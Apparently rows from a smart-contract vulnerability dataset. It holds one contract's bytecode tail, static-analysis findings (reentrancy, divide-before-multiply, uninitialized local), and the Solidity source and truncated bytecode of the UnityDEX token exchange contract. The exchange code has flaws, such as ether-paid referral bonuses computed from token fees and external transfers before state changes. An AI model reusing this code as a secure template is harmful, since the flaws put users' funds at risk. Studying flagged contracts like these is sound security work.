60200160002060006101000a81548160ff0219169083151502179055505b60006115aa83838151811061159d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151611fe0565b90508282815181106115e5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110611664577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154146116af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a6906126ab565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3033868681518110611728577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101516040518463ffffffff1660e01b815260040161174e939291906125ae565b600060405180830381600087803b15801561176857600080fd5b505af115801561177c573d6000803e3d6000fd5b50505050600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081815481106117f7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009055600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490506118939190612913565b815481106118ca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020828154811061194c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001819055506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008585815181106119d6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151815260200190815260200160002081905550600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480611a65577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b60019003818190600052602060002001600090559055508080611a879061299c565b9150506114d8565b508051600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002016000828254611ae39190612913565b925050819055506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411611b7a576000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055611bd1565b8051600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611bca9190612913565b9250508190555b5050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5a906126eb565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611cfd9190612593565b60206040518083038186803b158015611d1557600080fd5b505afa158015611d29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d4d91906122ac565b6040518363ffffffff1660e01b8152600401611d6a9291906125e5565b602060405180830381600087803b158015611d8457600080fd5b505af1158015611d98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dbc919061225a565b611dfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df2906126cb565b60405180910390fd5b565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e82906126eb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611efb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef29061266b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808211611fc657600080fd5b60008284611fd49190612888565b90508091505092915050565b600080600090505b82600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110612060577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001541461208357808061207b9061299c565b915050611fe8565b80915050919050565b600061209f61209a846127bc565b61278b565b905080838252602082019050828560208602820111156120be57600080fd5b60005b858110156120ee57816120d48882612161565b8452602084019350602083019250506001810190506120c1565b5050509392505050565b60008135905061210781612a9c565b92915050565b60008151905061211c81612a9c565b92915050565b600082601f83011261213357600080fd5b813561214384826020860161208c565b91505092915050565b60008151905061215b81612ab3565b92915050565b60008135905061217081612aca565b92915050565b60008151905061218581612aca565b92915050565b60006020828403121561219d57600080fd5b60006121ab848285016120f8565b91505092915050565b6000602082840312156121c657600080fd5b60006121d48482850161210d565b91505092915050565b600080604083850312156121f057600080fd5b60006121fe858286016120f8565b925050602061220f85828601612161565b9150509250929050565b60006020828403121561222b57600080fd5b600082013567ffffffffffffffff81111561224557600080fd5b61225184828501612122565b91505092915050565b60006020828403121561226c57600080fd5b600061227a8482850161214c565b91505092915050565b60006020828403121561229557600080fd5b60006122a384828501612161565b91505092915050565b6000602082840312156122be57600080fd5b60006122cc84828501612176565b91505092915050565b60006122e18383612575565b60208301905092915050565b6122f681612947565b82525050565b6000612307826127f8565b6123118185612810565b935061231c836127e8565b8060005b8381101561234d57815161233488826122d5565b975061233f83612803565b925050600181019050612320565b5085935050505092915050565b61236381612959565b82525050565b6000612376601a83612821565b91507f796f7520646f6e277420686176652072657761726420796574210000000000006000830152602082019050919050565b60006123b6602683612821565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061241c600d83612821565b91507f6e6674206e6f7420666f756e64000000000000000000000000000000000000006000830152602082019050919050565b600061245c602083612821565b91507f4e465420776974682074686973205f746f6b656e4964206e6f7420666f756e646000830152602082019050919050565b600061249c601583612821565b91507f546f6b656e207472616e73666572204572726f722100000000000000000000006000830152602082019050919050565b60006124dc602083612821565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b600061251c603083612821565b91507f436f6e747261637420446f6e2774206861766520656e6f75676820746f6b656e60008301527f7320746f206769766520726577617264000000000000000000000000000000006020830152604082019050919050565b61257e81612985565b82525050565b61258d81612985565b82525050565b60006020820190506125a860008301846122ed565b92915050565b60006060820190506125c360008301866122ed565b6125d060208301856122ed565b6125dd6040830184612584565b949350505050565b60006040820190506125fa60008301856122ed565b6126076020830184612584565b9392505050565b6000602082019050818103600083015261262881846122fc565b905092915050565b6000602082019050612645600083018461235a565b92915050565b6000602082019050818103600083015261266481612369565b9050919050565b60006020820190508181036000830152612684816123a9565b9050919050565b600060208201905081810360008301526126a48161240f565b9050919050565b600060208201905081810360008301526126c48161244f565b9050919050565b600060208201905081810360008301526126e48161248f565b9050919050565b60006020820190508181036000830152612704816124cf565b9050919050565b600060208201905081810360008301526127248161250f565b9050919050565b60006020820190506127406000830184612584565b92915050565b600060808201905061275b6000830187612584565b6127686020830186612584565b6127756040830185612584565b6127826060830184612584565b95945050505050565b6000604051905081810181811067ffffffffffffffff821117156127b2576127b1612a6d565b5b8060405250919050565b600067ffffffffffffffff8211156127d7576127d6612a6d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061283d82612985565b915061284883612985565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561287d5761287c612a0f565b5b828201905092915050565b600061289382612985565b915061289e83612985565b9250826128ae576128ad612a3e565b5b828204905092915050565b60006128c482612985565b91506128cf83612985565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561290857612907612a0f565b5b828202905092915050565b600061291e82612985565b915061292983612985565b92508282101561293c5761293b612a0f565b5b828203905092915050565b600061295282612965565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006129a782612985565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156129da576129d9612a0f565b5b600182019050919050565b60006129f08261298f565b915060ff821415612a0457612a03612a0f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612aa581612947565b8114612ab057600080fd5b50565b612abc81612959565b8114612ac757600080fd5b50565b612ad381612985565b8114612ade57600080fd5b5056fea2646970667358221220b15fb821b2d20af53f3362ded8b7189824b19127579cd87ae36919a071b4bbcf64736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 9,084 |
0x10ee7df446fa72e2e3b42a54b8fccadebb4edd53
|
/**
*Submitted for verification at Etherscan.io on 2021-02-11
*/
pragma solidity 0.5.13; /*
___________________________________________________________________
_ _ ______
| | / / /
--|-/|-/-----__---/----__----__---_--_----__-------/-------__------
|/ |/ /___) / / ' / ) / / ) /___) / / )
__/__|____(___ _/___(___ _(___/_/_/__/_(___ _____/______(___/__o_o_
██╗ ██╗███╗ ██╗██╗████████╗██╗ ██╗ ██████╗ ███████╗██╗ ██╗
██║ ██║████╗ ██║██║╚══██╔══╝╚██╗ ██╔╝ ██╔══██╗██╔════╝╚██╗██╔╝
██║ ██║██╔██╗ ██║██║ ██║ ╚████╔╝ ██║ ██║█████╗ ╚███╔╝
██║ ██║██║╚██╗██║██║ ██║ ╚██╔╝ ██║ ██║██╔══╝ ██╔██╗
╚██████╔╝██║ ╚████║██║ ██║ ██║ ██████╔╝███████╗██╔╝ ██╗
╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝
------------------------------------------------------------------------------------------------------
Copyright (c) 2021 Onwards Unity DEX Inc. ( https://unity-dex.io )
Contract designed with ❤ by EtherAuthority ( https://EtherAuthority.io )
------------------------------------------------------------------------------------------------------
*/
//*******************************************************************
//------------------------ SafeMath Library -------------------------
//*******************************************************************
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
interface ERC20Essential
{
function transfer(address _to, uint256 _amount) external returns (bool);
function transferFrom(address _from, address _to, uint256 _amount) external returns (bool);
}
//*******************************************************************//
//------------------ Contract to Manage Ownership -------------------//
//*******************************************************************//
contract owned {
address public owner;
address private newOwner;
event OwnershipTransferred(uint256 curTime, address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner, 'Only owner can call this function');
_;
}
function onlyOwnerTransferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
//this flow is to prevent transferring ownership to wrong wallet by mistake
function acceptOwnership() public {
require(msg.sender == newOwner, 'Only new owner can call this function');
emit OwnershipTransferred(now, owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract UnityDEX is owned {
using SafeMath for uint256;
bool public safeGuard; // To hault all non owner functions in case of imergency - by default false
address public feeAccount; //the account that will receive fees
uint public tradingFee = 300; // 300 = 0.3%
//referrals
uint256 public refPercent = 10; // percent to calculate referal bonous - by default 10% of trading fee
mapping (address => mapping (address => uint)) public tokens; //mapping of token addresses to mapping of account balances (token=0 means Ether)
mapping (address => mapping (bytes32 => bool)) public orders; //mapping of user accounts to mapping of order hashes to booleans (true = submitted by user, equivalent to offchain signature)
mapping (address => mapping (bytes32 => uint)) public orderFills; //mapping of user accounts to mapping of order hashes to uints (amount of order that has been filled)
/* Mapping to track referrer. The second address is the address of referrer, the Up-line/ Sponsor */
mapping (address => address) public referrers;
/* Mapping to track referrer bonus for all the referrers */
mapping (address => uint) public referrerBonusBalance;
event Order(uint256 curTime, address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, address user);
event Cancel(uint256 curTime, address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, address user, uint8 v, bytes32 r, bytes32 s);
event Trade( uint256 curTime, address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give, uint256 orderBookID);
event Deposit(uint256 curTime, address token, address user, uint amount, uint balance);
event Withdraw(uint256 curTime, address token, address user, uint amount, uint balance);
event OwnerWithdrawCommission(address indexed owner, address indexed tokenAddress, uint256 amount);
// Events to track ether transfer to referrers
event ReferrerBonus(address indexed referer, address indexed trader, uint256 referralBonus, uint256 timestamp );
event ReferrerBonusWithdrawn(address indexed referrer, uint256 indexed amount);
constructor() public {
feeAccount = msg.sender;
}
function changeSafeguardStatus() onlyOwner public
{
if (safeGuard == false)
{
safeGuard = true;
}
else
{
safeGuard = false;
}
}
//Calculate percent and return result
function calculatePercentage(uint256 PercentOf, uint256 percentTo ) internal pure returns (uint256)
{
uint256 factor = 100000; //so to make 1000 = 1%
require(percentTo <= factor, 'percentTo must be less than factor');
uint256 c = PercentOf.mul(percentTo).div(factor);
return c;
}
// contract accepts incoming ether - this needed in case owner want to fund refPool
function() payable external { }
function changeFeeAccount(address feeAccount_) public onlyOwner {
feeAccount = feeAccount_;
}
function changetradingFee(uint tradingFee_) public onlyOwner{
require(tradingFee_ <= 10000, 'trading fee can not be more than 100%');
tradingFee = tradingFee_;
}
function availableOwnerCommissionEther() public view returns(uint256){
//assress 0x0 only holds ether as fee
return tokens[address(0)][feeAccount];
}
function availableOwnerCommissionToken(address tokenAddress) public view returns(uint256){
//assress 0x0 only holds ether as fee
return tokens[tokenAddress][feeAccount];
}
function withdrawOwnerCommissoinEther() public returns (string memory){
require(msg.sender == feeAccount, 'Invalid caller');
uint256 amount = availableOwnerCommissionEther();
require (amount > 0, 'Nothing to withdraw');
tokens[address(0)][feeAccount] = 0;
msg.sender.transfer(amount);
emit OwnerWithdrawCommission(msg.sender, address(0), amount);
return "Ether withdrawn successfully";
}
function withdrawOwnerCommissoinToken(address tokenAddress) public returns (string memory){
require(msg.sender == feeAccount, 'Invalid caller');
uint256 amount = availableOwnerCommissionToken(tokenAddress);
require (amount > 0, 'Nothing to withdraw');
tokens[tokenAddress][feeAccount] = 0;
ERC20Essential(tokenAddress).transfer(msg.sender, amount);
emit OwnerWithdrawCommission(msg.sender, tokenAddress, amount);
return "Token withdrawn successfully";
}
function deposit() public payable {
tokens[address(0)][msg.sender] = tokens[address(0)][msg.sender].add(msg.value);
emit Deposit(now, address(0), msg.sender, msg.value, tokens[address(0)][msg.sender]);
}
function withdraw(uint amount) public {
require(!safeGuard,"System Paused by Admin");
require(tokens[address(0)][msg.sender] >= amount, 'Not enough balance');
tokens[address(0)][msg.sender] = tokens[address(0)][msg.sender].sub(amount);
msg.sender.transfer(amount);
emit Withdraw(now, address(0), msg.sender, amount, tokens[address(0)][msg.sender]);
}
function depositToken(address token, uint amount) public {
//remember to call Token(address).approve(address(this), amount) or this contract will not be able to do the transfer on your behalf.
require(token!=address(0), 'Invalid token address');
require(ERC20Essential(token).transferFrom(msg.sender, address(this), amount), 'tokens could not be transferred');
tokens[token][msg.sender] = tokens[token][msg.sender].add(amount);
emit Deposit(now, token, msg.sender, amount, tokens[token][msg.sender]);
}
function withdrawToken(address token, uint amount) public {
require(!safeGuard,"System Paused by Admin");
require(token!=address(0), 'Invalid token address');
require(tokens[token][msg.sender] >= amount, 'not enough token balance');
tokens[token][msg.sender] = tokens[token][msg.sender].sub(amount);
ERC20Essential(token).transfer(msg.sender, amount);
emit Withdraw(now, token, msg.sender, amount, tokens[token][msg.sender]);
}
function balanceOf(address token, address user) public view returns (uint) {
return tokens[token][user];
}
function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires) public {
bytes32 hash = keccak256(abi.encodePacked(address(this), tokenGet, amountGet, tokenGive, amountGive, expires));
orders[msg.sender][hash] = true;
emit Order(now, tokenGet, amountGet, tokenGive, amountGive, expires, msg.sender);
}
/* address[4] addressArray elements
0 = tokenGet
1 = tokenGive
2 = tradeMaker
3 = referrer
*/
function trade(address[4] memory addressArray, uint amountGet, uint amountGive, uint expires, uint8 v, bytes32 r, bytes32 s, uint amount, uint orderBookID) public {
require(!safeGuard,"System Paused by Admin");
//amount is in amountGet terms
bytes32 hash = keccak256(abi.encodePacked(address(this), addressArray[0], amountGet, addressArray[1], amountGive, expires));
require(orders[addressArray[2]][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == addressArray[2], 'Invalid trade parameters');
require(block.number <= expires, 'Trade is expired');
require(orderFills[addressArray[2]][hash].add(amount) <= amountGet, 'Trade order is filled');
tradeBalances(addressArray, amountGet, amountGive, amount );
orderFills[addressArray[2]][hash] = orderFills[addressArray[2]][hash].add(amount);
emit Trade(now, addressArray[0], amount, addressArray[1], amountGive * amount / amountGet, addressArray[2], msg.sender, orderBookID);
}
/**
addressArray array elements
0 = tokenGet
1 = tokenGive
2 = user
3 = referrer
*/
function tradeBalances(address[4] memory addressArray, uint amountGet, uint amountGive, uint amount) internal {
uint tradingFeeXfer = calculatePercentage(amount,tradingFee);
//processing referrers bonus - which is % of the trading fee
processReferrerBonus(addressArray[3], tradingFeeXfer);
tokens[addressArray[0]][msg.sender] = tokens[addressArray[0]][msg.sender].sub(amount.add(tradingFeeXfer));
tokens[addressArray[0]][addressArray[2]] = tokens[addressArray[0]][addressArray[2]].add(amount);
tokens[addressArray[0]][feeAccount] = tokens[addressArray[0]][feeAccount].add(tradingFeeXfer);
tokens[addressArray[1]][addressArray[2]] = tokens[addressArray[1]][addressArray[2]].sub(amountGive.mul(amount) / amountGet);
tokens[addressArray[1]][msg.sender] = tokens[addressArray[1]][msg.sender].add(amountGive.mul(amount) / amountGet);
}
function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) public view returns(bool) {
if (!(
tokens[tokenGet][sender] >= amount &&
availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, user, v, r, s) >= amount
)) return false;
return true;
}
function testVRS(address tokenGet, uint256 amountGet, address tokenGive, uint256 amountGive, uint256 expires, uint8 v, bytes32 r, bytes32 s ) public view returns(address){
bytes32 hash = keccak256(abi.encodePacked(address(this), tokenGet, amountGet, tokenGive, amountGive, expires));
return ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s);
}
function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, address user, uint8 v, bytes32 r, bytes32 s) public view returns(uint) {
bytes32 hash = keccak256(abi.encodePacked(address(this), tokenGet, amountGet, tokenGive, amountGive, expires));
uint available1;
if (!(
(orders[user][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == user) &&
block.number <= expires
)) return 0;
available1 = tokens[tokenGive][user].mul(amountGet) / amountGive;
if (amountGet.sub(orderFills[user][hash])<available1) return amountGet.sub(orderFills[user][hash]);
return available1;
}
function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, address user) public view returns(uint) {
bytes32 hash = keccak256(abi.encodePacked(address(this), tokenGet, amountGet, tokenGive, amountGive, expires));
return orderFills[user][hash];
}
function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint8 v, bytes32 r, bytes32 s) public {
require(!safeGuard,"System Paused by Admin");
bytes32 hash = keccak256(abi.encodePacked(address(this), tokenGet, amountGet, tokenGive, amountGive, expires));
require(orders[msg.sender][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == msg.sender, 'Invalid trade order');
orderFills[msg.sender][hash] = amountGet;
emit Cancel(now, tokenGet, amountGet, tokenGive, amountGive, expires, msg.sender, v, r, s);
}
//==================================================//
// REFERRAL SECTION CODE //
//==================================================//
function processReferrerBonus(address _referrer, uint256 _tradingFeeLocal) internal {
address existingReferrer = referrers[msg.sender];
if(_referrer != address(0) && existingReferrer != address(0) ){
referrerBonusBalance[existingReferrer] += _tradingFeeLocal * refPercent / 100;
emit ReferrerBonus(_referrer, msg.sender, _tradingFeeLocal * refPercent / 100, now );
}
else if(_referrer != address(0) && existingReferrer == address(0) ){
//no referrer exist, but provided in trade function call
referrerBonusBalance[_referrer] += _tradingFeeLocal * refPercent / 100;
referrers[msg.sender] = _referrer;
emit ReferrerBonus(_referrer, msg.sender, _tradingFeeLocal * refPercent / 100, now );
}
}
function changeRefPercent(uint256 newRefPercent) public onlyOwner returns (string memory){
require(newRefPercent <= 100, 'newRefPercent can not be more than 100');
refPercent = newRefPercent;
return "refPool fee updated successfully";
}
/**
* Function will allow users to withdraw their referrer bonus
*/
function claimReferrerBonus() public returns(bool) {
address payable msgSender = msg.sender;
uint256 referralBonus = referrerBonusBalance[msgSender];
require(referralBonus > 0, 'Insufficient referrer bonus');
referrerBonusBalance[msgSender] = 0;
//transfer the referrer bonus
msgSender.transfer(referralBonus);
//fire event
emit ReferrerBonusWithdrawn(msgSender, referralBonus);
return true;
}
}
|
0x6080604052600436106101ee5760003560e01c806379279fd11161010d5780639ff67fd8116100a0578063c5d9a28f1161006f578063c5d9a28f14610e54578063d0e30db014610ea5578063f70b83e914610eaf578063f7888aec14610f75578063fd37503f14610ffa576101ee565b80639ff67fd814610c0a578063bb5f462914610cef578063bd91645214610d62578063bf52f1cf14610d91576101ee565b806389130700116100dc57806389130700146109dd5780638da5cb5b14610aa7578063982371b414610afe5780639e281a9814610baf576101ee565b806379279fd1146107f257806379ba509714610821578063865505a414610838578063889126b2146108ec576101ee565b8063508493bc116101855780635be07a45116101545780635be07a451461068057806365e17c9d146106e5578063700f8e181461073c57806371ffcb16146107a1576101ee565b8063508493bc1461051657806356f433521461059b57806359d5335b146105c65780635ae11d5d146105f1576101ee565b8063338b5dea116101c1578063338b5dea146103e85780633d3a02e3146104435780634a3b68cc1461046e5780634bec8335146104ff576101ee565b806303d19637146101f057806319774d431461022b5780632e1a7d4d1461029a5780633176fb37146102d5575b005b3480156101fc57600080fd5b506102296004803603602081101561021357600080fd5b810190808035906020019092919050505061108a565b005b34801561023757600080fd5b506102846004803603604081101561024e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611194565b6040518082815260200191505060405180910390f35b3480156102a657600080fd5b506102d3600480360360208110156102bd57600080fd5b81019080803590602001909291905050506111b9565b005b3480156102e157600080fd5b506103ce60048036036101608110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115b3565b604051808215151515815260200191505060405180910390f35b3480156103f457600080fd5b506104416004803603604081101561040b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611672565b005b34801561044f57600080fd5b50610458611abb565b6040518082815260200191505060405180910390f35b34801561047a57600080fd5b506104bd6004803603602081101561049157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b61565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561050b57600080fd5b50610514611b94565b005b34801561052257600080fd5b506105856004803603604081101561053957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c92565b6040518082815260200191505060405180910390f35b3480156105a757600080fd5b506105b0611cb7565b6040518082815260200191505060405180910390f35b3480156105d257600080fd5b506105db611cbd565b6040518082815260200191505060405180910390f35b3480156105fd57600080fd5b5061067e600480360360a081101561061457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611cc3565b005b34801561068c57600080fd5b506106cf600480360360208110156106a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611eff565b6040518082815260200191505060405180910390f35b3480156106f157600080fd5b506106fa611f17565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561074857600080fd5b5061078b6004803603602081101561075f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f3d565b6040518082815260200191505060405180910390f35b3480156107ad57600080fd5b506107f0600480360360208110156107c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fe5565b005b3480156107fe57600080fd5b506108076120ce565b604051808215151515815260200191505060405180910390f35b34801561082d57600080fd5b506108366120e1565b005b34801561084457600080fd5b506108716004803603602081101561085b57600080fd5b81019080803590602001909291905050506122d5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108b1578082015181840152602081019050610896565b50505050905090810190601f1680156108de5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108f857600080fd5b5061099b600480360361010081101561091057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803560ff169060200190929190803590602001909291908035906020019092919050505061241a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109e957600080fd5b50610a2c60048036036020811015610a0057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506125bf565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a6c578082015181840152602081019050610a51565b50505050905090810190601f168015610a995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610ab357600080fd5b50610abc612911565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b0a57600080fd5b50610bad6004803603610100811015610b2257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803560ff1690602001909291908035906020019092919080359060200190929190505050612936565b005b348015610bbb57600080fd5b50610c0860048036036040811015610bd257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612dbc565b005b348015610c1657600080fd5b50610cd96004803603610120811015610c2e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803573ffffff